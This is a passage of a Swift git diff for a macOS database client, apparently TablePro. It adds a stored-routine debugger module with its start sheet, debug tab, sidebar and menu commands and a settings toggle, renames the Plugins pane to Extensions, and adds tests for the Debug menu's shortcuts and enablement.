PluginDebugPlan, rememberedOption: (String) -> String?) { + self.plan = plan + for field in plan.options { + optionValues[field.id] = field.isSecure ? field.defaultValue ?? "" : rememberedOption(field.id) ?? field.defaultValue ?? "" + } + arguments = Self.arguments(for: plan.entryPoints.first) + } + + var entryPoint: PluginDebugEntryPoint? { + plan.entryPoints.indices.contains(entryPointIndex) ? plan.entryPoints[entryPointIndex] : nil + } + + func selectEntryPoint(_ index: Int) { + guard plan.entryPoints.indices.contains(index), index != entryPointIndex else { return } + entryPointIndex = index + arguments = Self.arguments(for: plan.entryPoints[index]) + } + + func setText(_ text: String, for id: Int) { + update(id) { $0.text = text } + } + + func setNull(_ isNull: Bool, for id: Int) { + update(id) { argument in + argument.isNull = isNull + if isNull { argument.usesDefault = false } + } + } + + func setUsesDefault(_ usesDefault: Bool, for id: Int) { + update(id) { argument in + argument.usesDefault = usesDefault + if usesDefault { argument.isNull = false } + } + } + + func setOption(_ value: String, for fieldId: String) { + optionValues[fieldId] = value + } + + func isVisible(_ field: ConnectionField) -> Bool { + guard let rule = field.visibleWhen else { return true } + return rule.values.contains(optionValues[rule.fieldId] ?? "") + } + + func choice() -> RoutineDebugStartChoice? { + guard let entryPoint else { return nil } + return RoutineDebugStartChoice( + entryPoint: entryPoint, + arguments: arguments.filter(\.takesValue).map { + PluginDebugArgument(parameterName: $0.parameter.name, value: $0.value) + }, + optionValues: optionValues.filter { id, _ in + plan.options.contains { $0.id == id && isVisible($0) } + } + ) + } + + // One whole-value write, so a NULL tick and the text it clears land together. + private func update(_ id: Int, _ change: (inout Argument) -> Void) { + guard let index = arguments.firstIndex(where: { $0.id == id }) else { return } + var argument = arguments[index] + change(&argument) + arguments[index] = argument + } + + private static func arguments(for entryPoint: PluginDebugEntryPoint?) -> [Argument] { + (entryPoint?.parameters ?? []).enumerated().map { index, parameter in + Argument(id: index, parameter: parameter, usesDefault: parameter.hasDefault) + } + } +} + +internal struct RoutineDebugStartSheet: View { + @StateObject private var model: RoutineDebugStartModel + let onFinish: @MainActor (RoutineDebugStartChoice?) -> Void + + init(model: RoutineDebugStartModel, onFinish: @escaping @MainActor (RoutineDebugStartChoice?) -> Void) { + _model = StateObject(wrappedValue: model) + self.onFinish = onFinish + } + + static func present( + plan: PluginDebugPlan, + rememberedOption: (String) -> String?, + on window: NSWindow, + setup: RoutineDebugSetup + ) async -> RoutineDebugStartChoice? { + let model = RoutineDebugStartModel(plan: plan, rememberedOption: rememberedOption) + return await RoutineDebugSheet.present(on: window, setup: setup) { finish in + RoutineDebugStartSheet(model: model, onFinish: finish) + } + } + + // Secrets stay out of defaults; the plan supplies them again next time. + static func rememberedValues(of choice: RoutineDebugStartChoice, in plan: PluginDebugPlan) -> [String: String] { + let secure = Set(plan.options.filter(\.isSecure).map(\.id)) + return choice.optionValues.filter { !secure.contains($0.key) } + } + + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text(String(format: String(localized: "Debug %@"), model.plan.target.name)) + .font(.headline) + + if model.plan.entryPoints.count > 1 { + Picker(String(localized: "Entry Point"), selection: entryPointBinding) { + ForEach(Array(model.plan.entryPoints.enumerated()), id: \.offset) { index, entryPoint in + Text(entryPoint.displayName).tag(index) + } + } + } + + if model.arguments.isEmpty { + Text(String(localized: "This routine takes no arguments.")) + .foregroundStyle(.secondary) + } else { + argumentTable + } + + if !model.plan.options.isEmpty { + Form { + ForEach(model.plan.options.filter { model.isVisible($0) }, id: \.id) { field in + optionRow(field) + } + } + } + + if let note = model.plan.note, !note.isEmpty { + Text(note) + .font(.footnote) + .foregroundStyle(.secondary) + .fixedSize(horizontal: false, vertical: true) + } + + HStack { + Spacer() + Button(String(localized: "Cancel")) { + onFinish(nil) + } + .keyboardShortcut(.cancelAction) + Button(String(localized: "Debug")) { + onFinish(model.choice()) + } + .keyboardShortcut(.defaultAction) + .disabled(model.entryPoint == nil) + } + } + .padding(20) + .frame(width: 600) + } + + private var entryPointBinding: Binding { + Binding(get: { model.entryPointIndex }, set: { model.selectEntryPoint($0) }) + } + + // The ideal widths plus the table's insets and column gaps stay inside the sheet, or Default scrolls out of sight. + private var argumentTable: some View { + Table(model.arguments) { + TableColumn(String(localized: "Name")) { argument in + Text(argument.parameter.name) + } + .width(min: 80, ideal: 100) + TableColumn(String(localized: "Type")) { argument in + Text(argument.parameter.typeName) + .foregroundStyle(.secondary) + } + .width(min: 60, ideal: 80) + TableColumn(String(localized: "Value")) { argument in + if argument.takesValue { + TextField( + String(localized: "Value"), + text: Binding(get: { argument.text }, set: { model.setText($0, for: argument.id) }) + ) + .labelsHidden() + .disabled(argument.isNull || argument.usesDefault) + } else { + Text(String(localized: "Output")) + .foregroundStyle(.secondary) + } + } + .width(min: 120, ideal: 140) + TableColumn(String(localized: "NULL")) { argument in + Toggle( + String(localized: "NULL"), + isOn: Binding(get: { argument.isNull }, set: { model.setNull($0, for: argument.id) }) + ) + .labelsHidden() + .disabled(!argument.takesValue) + } + .width(48) + TableColumn(String(localized: "Default")) { argument in + Toggle( + String(localized: "Default"), + isOn: Binding(get: { argument.usesDefault }, set: { model.setUsesDefault($0, for: argument.id) }) + ) + .labelsHidden() + .disabled(!argument.takesValue || !argument.parameter.hasDefault) + } + .width(56) + } + .frame(height: min(CGFloat(model.arguments.count) * 28 + 32, 220)) + } + + @ViewBuilder + private func optionRow(_ field: ConnectionField) -> some View { + let binding = Binding( + get: { model.optionValues[field.id] ?? "" }, + set: { model.setOption($0, for: field.id) } + ) + switch field.fieldType { + case .dropdown(let options): + Picker(field.label, selection: binding) { + ForEach(options, id: \.value) { option in + Text(option.label).tag(option.value) + } + } + case .toggle: + Toggle( + field.label, + isOn: Binding( + get: { binding.wrappedValue == "true" }, + set: { binding.wrappedValue = $0 ? "true" : "false" } + ) + ) + case .secure: + SecureField(field.label, text: binding, prompt: Text(field.placeholder)) + default: + TextField(field.label, text: binding, prompt: Text(field.placeholder)) + } + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift new file mode 100644 index 0000000000..4ff591faf7 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift @@ -0,0 +1,144 @@ +// +// RoutineDebugTabView.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +// The call stack beside the source, and under them Xcode's debug area: its bar of controls and status, then variables beside the output. +// Nested split views first lay out at their minimums, before the window gives them room, so holding priorities, not +// thickness fractions, decide the layout: the source takes the room, the debug area and the stack keep their size, and +// variables and output share theirs. +internal struct RoutineDebugTabView: View { + @ObservedObject var controller: RoutineDebugController + let databaseType: DatabaseType + + var body: some View { + AutosavingSplitView( + autosaveName: "com.TablePro.routineDebug.sourceAndPanes", + isVertical: false, + primaryMinimum: 160, + secondaryMinimum: 200, + primaryHoldingPriority: .splitPaneFlexible + ) { + AutosavingSplitView( + autosaveName: "com.TablePro.routineDebug.stackAndSource", + primaryMinimum: 200, + secondaryMinimum: 280 + ) { + RoutineDebugCallStackView(controller: controller) + } secondary: { + RoutineDebugSourceView(controller: controller, databaseType: databaseType) + } + } secondary: { + VStack(spacing: 0) { + RoutineDebugBar(controller: controller) + Divider() + AutosavingSplitView( + autosaveName: "com.TablePro.routineDebug.variablesAndOutput", + primaryMinimum: 220, + secondaryMinimum: 220, + primaryHoldingPriority: .defaultLow + ) { + RoutineDebugVariablesView(controller: controller) + } secondary: { + RoutineDebugOutputView(controller: controller) + } + } + } + } +} + +// The Debug menu's commands as one-click controls, with the run's status beside them. +internal struct RoutineDebugBar: View { + @ObservedObject var controller: RoutineDebugController + + var body: some View { + HStack(spacing: 12) { + HStack(spacing: 2) { + command(.continueExecution, title: String(localized: "Continue"), symbol: "play") + command(.stepOver, title: String(localized: "Step Over"), symbol: "arrow.uturn.forward") + command(.stepInto, title: String(localized: "Step Into"), symbol: "arrow.down.to.line") + command(.stepOut, title: String(localized: "Step Out"), symbol: "arrow.up.to.line") + Button { + controller.stop() + } label: { + Label(String(localized: "Stop"), systemImage: "stop") + } + .help(String(localized: "Stop Debugging")) + .disabled(!controller.canStop) + } + .labelStyle(.iconOnly) + .buttonStyle(.borderless) + + Divider() + .frame(height: 16) + + statusIcon + Text(controller.statusText) + .lineLimit(1) + .truncationMode(.tail) + .help(controller.statusText) + .accessibilityIdentifier("routine-debug-status") + if let error = controller.inspectionError { + Text(error) + .foregroundStyle(.secondary) + .lineLimit(1) + .truncationMode(.tail) + .help(error) + } + Spacer(minLength: 0) + } + .font(.callout) + .padding(.horizontal, 10) + .frame(height: 28) + .paneBarBackground() + } + + private func command(_ command: PluginDebugCommand, title: String, symbol: String) -> some View { + Button { + controller.perform(command) + } label: { + Label(title, systemImage: symbol) + } + .help(title) + .disabled(!controller.canPerform(command)) + } + + @ViewBuilder + private var statusIcon: some View { + switch controller.state { + case .preparing, .starting, .running: + ProgressView() + .controlSize(.small) + case .paused: + Image(systemName: "pause.circle") + .foregroundStyle(.secondary) + case .finished: + Image(systemName: "checkmark.circle") + .foregroundStyle(.secondary) + case .failed: + Image(systemName: "exclamationmark.triangle") + .foregroundStyle(.secondary) + case .stopped: + Image(systemName: "stop.circle") + .foregroundStyle(.secondary) + } + } +} + +// A debug tab exists only with a live controller, so a tab that has none says so rather than drawing empty panes. +internal struct RoutineDebugTabContent: View { + let tabId: UUID + let databaseType: DatabaseType + + var body: some View { + if let controller = RoutineDebugSessions.shared.controller(forTab: tabId) { + RoutineDebugTabView(controller: controller, databaseType: databaseType) + } else { + UnavailableStateView(String(localized: "Debug Session Ended"), systemImage: "ladybug") + .frame(maxWidth: .infinity, maxHeight: .infinity) + } + } +} diff --git a/apple/TablePro/Views/Settings/KeyboardSettingsView.swift b/apple/TablePro/Views/Settings/KeyboardSettingsView.swift index 8f7d496536..670755875e 100644 --- a/apple/TablePro/Views/Settings/KeyboardSettingsView.swift +++ b/apple/TablePro/Views/Settings/KeyboardSettingsView.swift @@ -12,6 +12,7 @@ import SwiftUI struct KeyboardSettingsView: View { @Binding var settings: KeyboardSettings + @ObservedObject private var modules = AppModuleSettings.shared @State private var searchText = "" @State private var conflictAlert: ConflictAlertState? @State private var systemReservedAlert: ShortcutAction? @@ -180,7 +181,7 @@ struct KeyboardSettingsView: View { // MARK: - Helpers private func filteredActions(for category: ShortcutCategory) -> [ShortcutAction] { - let categoryActions = ShortcutAction.allCases.filter { $0.category == category } + let categoryActions = ShortcutAction.settingsRows(in: category, enabledModules: modules.enabledModules) if searchText.isEmpty { return categoryActions } diff --git a/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift b/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift index b6c41bdd66..ae705b6054 100644 --- a/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift +++ b/apple/TablePro/Views/Settings/Plugins/InstalledPluginsView.swift @@ -9,6 +9,7 @@ struct InstalledPluginsView: View { // isInstalling reads the tracker, which the plugin manager does not republish. @ObservedObject private var installTracker = PluginInstallTracker.shared @ObservedObject private var navigation = PluginsSettingsNavigation.shared + @ObservedObject private var modules = AppModuleSettings.shared @State private var selectedPluginId: String? @State private var searchText = "" @@ -27,6 +28,10 @@ struct InstalledPluginsView: View { return pluginManager.plugins.filter { $0.name.localizedCaseInsensitiveContains(searchText) } } + private var filteredModules: [AppModule] { + AppModule.allCases.filter { $0.matches(filter: searchText) } + } + var body: some View { VStack(spacing: 0) { if !pluginManager.rejectedPlugins.isEmpty && !dismissedRejectedBanner { @@ -242,10 +247,20 @@ struct InstalledPluginsView: View { ScrollViewReader { proxy in List(selection: $selectedPluginId) { - ForEach(filteredPlugins) { plugin in - pluginRow(plugin) - .tag(plugin.id) - .id(plugin.id) + if !filteredModules.isEmpty { + // Untagged, so a module row toggles but never takes the plugin selection. + Section(String(localized: "Modules")) { + ForEach(filteredModules, id: \.self) { module in + ModuleToggleRow(module: module, settings: modules) + } + } + } + Section(String(localized: "Plugins")) { + ForEach(filteredPlugins) { plugin in + pluginRow(plugin) + .tag(plugin.id) + .id(plugin.id) + } } } .listStyle(.inset) diff --git a/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift b/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift new file mode 100644 index 0000000000..eb94ca5d06 --- /dev/null +++ b/apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift @@ -0,0 +1,33 @@ +import SwiftUI + +// A checkbox per module, the way Safari lists its extensions; this click is the only way a module turns on. +struct ModuleToggleRow: View { + let module: AppModule + @ObservedObject var settings: AppModuleSettings + + var body: some View { + Toggle(isOn: Binding( + get: { settings.isEnabled(module) }, + set: { AppModuleActivation.setEnabled($0, for: module, settings: settings) } + )) { + VStack(alignment: .leading, spacing: 2) { + Text(module.title) + Text(module.summary) + .font(.caption) + .foregroundStyle(.secondary) + .fixedSize(horizontal: false, vertical: true) + } + } + .toggleStyle(.checkbox) + .padding(.vertical, 2) + .accessibilityIdentifier("module-toggle-\(module.rawValue)") + } +} + +extension AppModule { + func matches(filter: String) -> Bool { + filter.isEmpty + || title.localizedCaseInsensitiveContains(filter) + || summary.localizedCaseInsensitiveContains(filter) + } +} diff --git a/apple/TablePro/Views/Settings/SettingsView.swift b/apple/TablePro/Views/Settings/SettingsView.swift index 615920ba07..ac5a66df51 100644 --- a/apple/TablePro/Views/Settings/SettingsView.swift +++ b/apple/TablePro/Views/Settings/SettingsView.swift @@ -19,7 +19,8 @@ enum SettingsPane: String, CaseIterable { case .notifications: String(localized: "Notifications") case .ai: String(localized: "AI") case .mcp: "MCP" - case .plugins: String(localized: "Plugins") + // The rawValue and the URL id stay "plugins": they are the stored pane and a published link. + case .plugins: String(localized: "Extensions") case .sync: String(localized: "Sync") /// The stored rawValue stays "account": it is the tab item identifier and the pane the /// window restores, so renaming it would silently reset everyone's last-used pane. diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift index f19d44f768..e406897762 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Commands.swift @@ -139,6 +139,8 @@ extension DatabaseTreeOutlineCoordinator { ClipboardService.shared.writeText(text) case .showObjectSource(let ref): mainCoordinator?.showObjectSource(ref) + case .debugRoutine(let ref): + debugRoutine(ref) case .dropUserType, .renameUserType, .newUserType: performUserTypeCommand(command) case .refreshRedisKeys: @@ -233,6 +235,12 @@ extension DatabaseTreeOutlineCoordinator { } } + // The run dials its own connections on the row's database, so the browse cursor never has to move, and a switch that + // fails or is cancelled cannot leave the run on another database. + private func debugRoutine(_ ref: DatabaseTreeRoutineRef) { + mainCoordinator?.debugRoutine(ref.routine, database: ref.database, schema: ref.schema) + } + private func performUserTypeCommand(_ command: SidebarMenuCommand) { switch command { case .dropUserType(let ref): diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift index 38c3f02108..d48854232f 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Menu.swift @@ -122,7 +122,10 @@ extension DatabaseTreeOutlineCoordinator: NSMenuDelegate { tableFolderOptions: tableFolderMenuOptions(clicked: clicked, selected: selectedRefs()), offersBrowsedFolders: creation.offersBrowsedFolders, canShowAllTables: mainCoordinator?.allTablesListing() != nil, - listsAttachedSchemas: listsAttachedSchemas + listsAttachedSchemas: listsAttachedSchemas, + canDebugRoutine: DatabaseTreeMenuContext.canDebugRoutine(clicked?.kind, modules: .shared) { + mainCoordinator?.routineDebugTarget(for: $0) + } ) } diff --git a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift index 79cea97397..0def1ddf99 100644 --- a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift +++ b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuContext.swift @@ -81,6 +81,20 @@ internal struct DatabaseTreeMenuContext { /// The engine's schema rows are databases attached beside the opened file: reached by their /// qualifier, never made active, and not exported or copied as a unit. internal var listsAttachedSchemas: Bool = false + internal var canDebugRoutine: Bool = false +} + +internal extension DatabaseTreeMenuContext { + // The module is asked first, so with it off the debugger's code is never reached from a menu. + @MainActor + static func canDebugRoutine( + _ clicked: DatabaseTreeNode.Kind?, + modules: AppModuleSettings, + debugTarget: (RoutineInfo) -> PluginDebugTarget? + ) -> Bool { + guard modules.isEnabled(.routineDebugger), case .routine(let ref) = clicked else { return false } + return debugTarget(ref.routine) != nil + } } internal extension DatabaseTreeMenuContext { diff --git a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift index a3a61448e6..39d1569256 100644 --- a/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift +++ b/apple/TablePro/Views/Sidebar/Menu/DatabaseTreeMenuSpec.swift @@ -41,7 +41,7 @@ internal enum DatabaseTreeMenuSpec { context: context ) case .routine(let ref): - return routineSections(ref) + return routineSections(ref, context: context) case .trigger(let ref): return triggerSections(ref) case .userType(let ref): @@ -304,7 +304,10 @@ internal enum DatabaseTreeMenuSpec { return [DatabaseTreeMenuSection(copies)] } - private static func routineSections(_ ref: DatabaseTreeRoutineRef) -> [DatabaseTreeMenuSection] { + private static func routineSections( + _ ref: DatabaseTreeRoutineRef, + context: DatabaseTreeMenuContext + ) -> [DatabaseTreeMenuSection] { var copies: [DatabaseTreeMenuItem] = [.command(String(localized: "Copy Name"), .copyText(ref.routine.name))] if let signature = ref.routine.argumentSignature, !signature.isEmpty { copies.append(.command( @@ -312,10 +315,14 @@ internal enum DatabaseTreeMenuSpec { .copyText(RoutineDisplayLabel.copyableSignature(for: ref.routine)) )) } - return [ + var sections = [ DatabaseTreeMenuSection(copies), DatabaseTreeMenuSection([.command(String(localized: "Show DDL"), .showObjectSource(ref.objectRef))]) ] + if context.canDebugRoutine { + sections.append(DatabaseTreeMenuSection([.command(String(localized: "Debug…"), .debugRoutine(ref))])) + } + return sections } private static func triggerSections(_ ref: DatabaseTreeTriggerRef) -> [DatabaseTreeMenuSection] { diff --git a/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift b/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift index 0f97086115..0357e60911 100644 --- a/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift +++ b/apple/TablePro/Views/Sidebar/Menu/SidebarMenuCommand.swift @@ -77,6 +77,7 @@ internal enum SidebarMenuCommand: Equatable { case refreshHierarchicalSchema(String) case copyText(String) case showObjectSource(DatabaseObjectRef) + case debugRoutine(DatabaseTreeRoutineRef) case dropUserType(DatabaseTreeUserTypeRef) case renameUserType(DatabaseTreeUserTypeRef) /// Nil database and schema mean the ones the sidebar is browsing. diff --git a/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift b/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift index 235acd1457..a2121b2986 100644 --- a/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift +++ b/apple/TablePro/Views/Structure/StructureColumnReorderHandler.swift @@ -25,7 +25,7 @@ enum StructureColumnReorderHandler { return String( localized: """ Could not build the column reorder for this table. If this engine's driver \ - was installed before column reorder shipped, update it in Settings > Plugins. + was installed before column reorder shipped, update it in Settings > Extensions. """ ) } diff --git a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift index 9ad23ae13b..89606ef982 100644 --- a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift +++ b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift @@ -67,7 +67,7 @@ enum StructureTableRebuildHandler { localized: """ Could not build the table rebuild for this change. If this engine's driver \ was installed before foreign key editing shipped, update it in \ - Settings > Plugins. + Settings > Extensions. """ ) } diff --git a/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift b/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift new file mode 100644 index 0000000000..820f372d7d --- /dev/null +++ b/apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift @@ -0,0 +1,190 @@ +import AppKit +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct DebugMenuBuilderTests { + private static let defaultedActions: [ShortcutAction] = [.debugContinue, .debugStepOver, .debugStepInto, .debugStepOut] + + private func bar(_ keyboard: KeyboardSettings = KeyboardSettings()) -> NSMenu { + MainMenuBuilder.build(keyboard: keyboard, modules: [.routineDebugger]).bar + } + + private func debugMenu(_ keyboard: KeyboardSettings = KeyboardSettings()) throws -> NSMenu { + try #require(bar(keyboard).items.first { $0.identifier == DebugMenuBuilder.identifier }?.submenu) + } + + private func flatten(_ menu: NSMenu) -> [NSMenuItem] { + menu.items.flatMap { item -> [NSMenuItem] in + guard let submenu = item.submenu else { return [item] } + return [item] + flatten(submenu) + } + } + + private func functionKey(_ scalar: Int) -> String { + Unicode.Scalar(UInt32(scalar)).map { String(Character($0)) } ?? "" + } + + @Test("The Debug menu holds the debugger's commands in order") + func commandOrder() throws { + let menu = try debugMenu() + let actions = menu.items.map { $0.isSeparatorItem ? nil : $0.action } + + #expect(actions == [ + #selector(MainSplitViewController.chooseRoutineToDebug(_:)), + nil, + #selector(MainSplitViewController.debugContinue(_:)), + #selector(MainSplitViewController.debugStepOver(_:)), + #selector(MainSplitViewController.debugStepInto(_:)), + #selector(MainSplitViewController.debugStepOut(_:)), + #selector(MainSplitViewController.debugStop(_:)), + nil, + #selector(MainSplitViewController.toggleBreakpoint(_:)), + #selector(MainSplitViewController.removeAllBreakpoints(_:)), + ]) + #expect(menu.items.first?.title == String(localized: "Debug Routine…")) + } + + @Test("Continue, Step Over, Step Into and Step Out carry Xcode's keys and nothing else ships bound") + func defaultKeys() throws { + let items = try debugMenu().items.filter { !$0.isSeparatorItem } + let keys = Dictionary(uniqueKeysWithValues: items.compactMap { item in + item.action.map { ($0, (item.keyEquivalent, item.keyEquivalentModifierMask)) } + }) + + let continueKey = keys[#selector(MainSplitViewController.debugContinue(_:))] + let commandControl: NSEvent.ModifierFlags = [.command, .control] + let bare: NSEvent.ModifierFlags = [] + #expect(continueKey?.0 == "y") + #expect(continueKey?.1 == commandControl) + #expect(keys[#selector(MainSplitViewController.debugStepOver(_:))]?.0 == functionKey(NSF6FunctionKey)) + #expect(keys[#selector(MainSplitViewController.debugStepInto(_:))]?.0 == functionKey(NSF7FunctionKey)) + #expect(keys[#selector(MainSplitViewController.debugStepOut(_:))]?.0 == functionKey(NSF8FunctionKey)) + #expect(keys[#selector(MainSplitViewController.debugStepOver(_:))]?.1 == bare) + + let unbound: [Selector] = [ + #selector(MainSplitViewController.chooseRoutineToDebug(_:)), + #selector(MainSplitViewController.debugStop(_:)), + #selector(MainSplitViewController.toggleBreakpoint(_:)), + #selector(MainSplitViewController.removeAllBreakpoints(_:)), + ] + for selector in unbound { + #expect(keys[selector]?.0.isEmpty == true, "\(NSStringFromSelector(selector))") + } + #expect(KeyboardSettings.defaultShortcuts[.toggleBreakpoint] == nil) + } + + @Test("Each debug default can be recorded again in Settings > Keyboard and is reserved by nothing") + func defaultsAreRecordable() throws { + for action in Self.defaultedActions { + let key = try #require(KeyboardSettings.defaultShortcuts[action]) + let event = try #require(NSEvent.keyEvent( + with: .keyDown, + location: .zero, + modifierFlags: key.modifierFlags, + timestamp: 0, + windowNumber: 0, + context: nil, + characters: key.menuKeyEquivalent ?? "", + charactersIgnoringModifiers: key.menuKeyEquivalent ?? "", + isARepeat: false, + keyCode: key.keyCode + )) + + #expect(BoundKey(from: event) == key, "\(action.rawValue)") + #expect(key.hasModifier || key.isFunctionKey, "\(action.rawValue)") + #expect(ShortcutAction.reservedConflict(for: key, context: action.context) == nil, "\(action.rawValue)") + #expect(KeyboardSettings().sanitized().shortcut(for: action) == key, "\(action.rawValue)") + } + } + + @Test("A rebound debug command reaches its menu item") + func reboundKeyApplies() throws { + let f10 = BoundKey.special(.f10) + let menu = try debugMenu(KeyboardSettings(shortcuts: [ShortcutAction.debugStepOver.rawValue: f10])) + let stepOver = try #require(menu.items.first { $0.action == #selector(MainSplitViewController.debugStepOver(_:)) }) + + #expect(stepOver.keyEquivalent == functionKey(NSF10FunctionKey)) + #expect(stepOver.identifier == MenuItemFactory.identifier(for: .debugStepOver)) + } + + @Test("With the module on, no two items share a title or a key equivalent, and each leaf is a nil-target command") + func moduleOnBarStaysConsistent() { + let items = flatten(bar()) + let leaves = items.filter { !$0.isSeparatorItem && $0.submenu == nil } + + let titles = leaves.map { $0.title } + let duplicateTitles = Dictionary(grouping: titles, by: { $0 }).filter { $0.value.count > 1 }.keys + #expect(duplicateTitles.isEmpty, "\(duplicateTitles)") + + let combos = items.filter { !$0.keyEquivalent.isEmpty } + .map { "\($0.keyEquivalentModifierMask.rawValue)-\($0.keyEquivalent)" } + let duplicateCombos = Dictionary(grouping: combos, by: { $0 }).filter { $0.value.count > 1 }.keys + #expect(duplicateCombos.isEmpty, "\(duplicateCombos)") + + let debugLeaves = leaves.filter { $0.action.map(MainSplitViewController.routineDebugSelectors.contains) ?? false } + #expect(debugLeaves.count == MainSplitViewController.routineDebugSelectors.count) + for item in debugLeaves { + #expect(item.target == nil, "\(item.title)") + } + } + + @Test("Every Debug command reaches the window and dims with no debug tab in front") + func everyDebugCommandIsDecided() throws { + let selectors = try debugMenu().items.compactMap { $0.action } + + #expect(Set(selectors) == MainSplitViewController.routineDebugSelectors) + for selector in selectors { + let name = NSStringFromSelector(selector) + #expect(MainSplitViewController.instancesRespond(to: selector), "\(name)") + var connected = MenuValidationContext() + connected.isConnected = true + #expect(MainSplitViewController.resolvedEnablement(selector, context: connected) == false, "\(name)") + } + } + + @Test("Each Debug command follows the debug tab in front, and Agent mode dims them all") + func debugCommandsFollowTheSession() { + var context = MenuValidationContext() + context.isConnected = true + context.routineDebug = RoutineDebugMenuState( + canChooseRoutine: true, + performableCommands: [.stepOver, .stepInto], + canStop: true, + canToggleBreakpoint: true, + canRemoveAllBreakpoints: false + ) + let expected: [(Selector, Bool)] = [ + (#selector(MainSplitViewController.chooseRoutineToDebug(_:)), true), + (#selector(MainSplitViewController.debugContinue(_:)), false), + (#selector(MainSplitViewController.debugStepOver(_:)), true), + (#selector(MainSplitViewController.debugStepInto(_:)), true), + (#selector(MainSplitViewController.debugStepOut(_:)), false), + (#selector(MainSplitViewController.debugStop(_:)), true), + (#selector(MainSplitViewController.toggleBreakpoint(_:)), true), + (#selector(MainSplitViewController.removeAllBreakpoints(_:)), false), + ] + for (selector, enabled) in expected { + #expect( + MainSplitViewController.resolvedEnablement(selector, context: context) == enabled, + "\(NSStringFromSelector(selector))" + ) + } + + var disconnected = context + disconnected.isConnected = false + #expect(MainSplitViewController.resolvedEnablement( + #selector(MainSplitViewController.chooseRoutineToDebug(_:)), context: disconnected + ) == false) + + var agent = context + agent.isAgentMode = true + for (selector, _) in expected { + #expect( + MainSplitViewController.resolvedEnablement(selector, context: agent) == false, + "\(NSStringFromSelector(selector))" + ) + } + } +} diff --git a/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift b/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift index b451009d15..2a01ca20ff 100644 --- a/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift +++ b/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift @@ -11,8 +11,8 @@ import TableProPluginKit import Testing @MainActor -private func buildMenu(_ keyboard: KeyboardSettings = KeyboardSettings()) -> NSMenu { - MainMenuBuilder.build(keyboard: keyboard).bar +private func buildMenu(_ keyboard: KeyboardSettings = KeyboardSettings(), modules: Set = []) -> NSMenu { + MainMenuBuilder.build(keyboard: keyboard, modules: modules).bar } private func flatten(_ menu: NSMenu) -> [NSMenuItem] { @@ -186,9 +186,10 @@ struct MainMenuStructureTests { @MainActor struct MainMenuShortcutCoverageTests { + // Every module on: a module's actions have menu items only while it is. @Test("Every customizable action reaches exactly one menu item") func everyShortcutActionIsReachable() { - let identifiers = flatten(buildMenu()).compactMap(\.identifier?.rawValue) + let identifiers = flatten(buildMenu(modules: Set(AppModule.allCases))).compactMap(\.identifier?.rawValue) for action in ShortcutAction.allCases { let expected = MenuItemFactory.identifier(for: action).rawValue let matches = identifiers.filter { $0 == expected }.count diff --git a/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift b/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift new file mode 100644 index 0000000000..740c691310 --- /dev/null +++ b/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift @@ -0,0 +1,231 @@ +import AppKit +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +// An off module leaves nothing behind (apple/AGENTS.md, Scope). With it off no path opens a debug tab, so none can +// reach an MCP snapshot, AppleScript or recent tabs; the debug tab's own tests pin that one left open is excluded. +@MainActor +struct AppModuleResidueTests { + private static let debugActions: [ShortcutAction] = [ + .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint, + ] + + private static let routine = DatabaseTreeRoutineRef( + database: "app", + schema: "public", + routine: RoutineInfo(name: "order_total", kind: .function, schema: "public", language: "plpgsql") + ) + + private static let target = PluginDebugTarget( + identity: "16431", + name: "order_total", + schema: "public", + kindDisplayName: "Function" + ) + + private func modules(on: Bool, in suite: EphemeralDefaults) -> 